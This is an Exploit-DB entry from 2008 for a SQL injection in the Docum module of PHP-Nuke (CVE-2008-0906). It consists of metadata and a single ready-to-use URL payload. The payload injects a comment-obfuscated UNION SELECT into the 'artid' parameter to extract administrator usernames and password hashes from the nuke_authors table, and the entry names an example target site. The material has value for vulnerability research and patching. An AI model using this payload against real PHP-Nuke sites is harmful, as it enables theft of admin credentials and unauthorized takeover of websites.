PHP-Nuke Module Docum - 'artid' SQL Injection

EDB-ID:

5161

CVE:

2008-0906

EDB Verified:

Author:

DamaR

Type:

webapps

Exploit: /

Platform:

PHP

Date:

2008-02-20

Vulnerable App:

#########################################################################

           php-nuke modules Docum remote sql inj
#########################################################################

Found:DamaR

By.Damar@Hotmail.Com

Hack Bitti ama DÃ¶nmek YakÄ±n  Since 2000
-------------------------------------------------------------------------------


/modules.php?name=Docum&op=viewarticle&artid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%20%20/**/0,1,aid,pwd,4/**/from/**/nuke_authors/*where%20admin%20-2

#########################################################################
Example: http://www.xxx.com.ar/mt/


#########################################################################

# milw0rm.com [2008-02-20]

Tags:

Advisory/Source: Link

Databases	Links	Sites	Solutions
Exploits	Search Exploit-DB	OffSec	Courses and Certifications
Google Hacking	Submit Entry	Kali Linux	Learn Subscriptions
Papers	SearchSploit Manual	VulnHub	OffSec Cyber Range
Shellcodes	Exploit Statistics		Proving Grounds
			Penetration Testing Services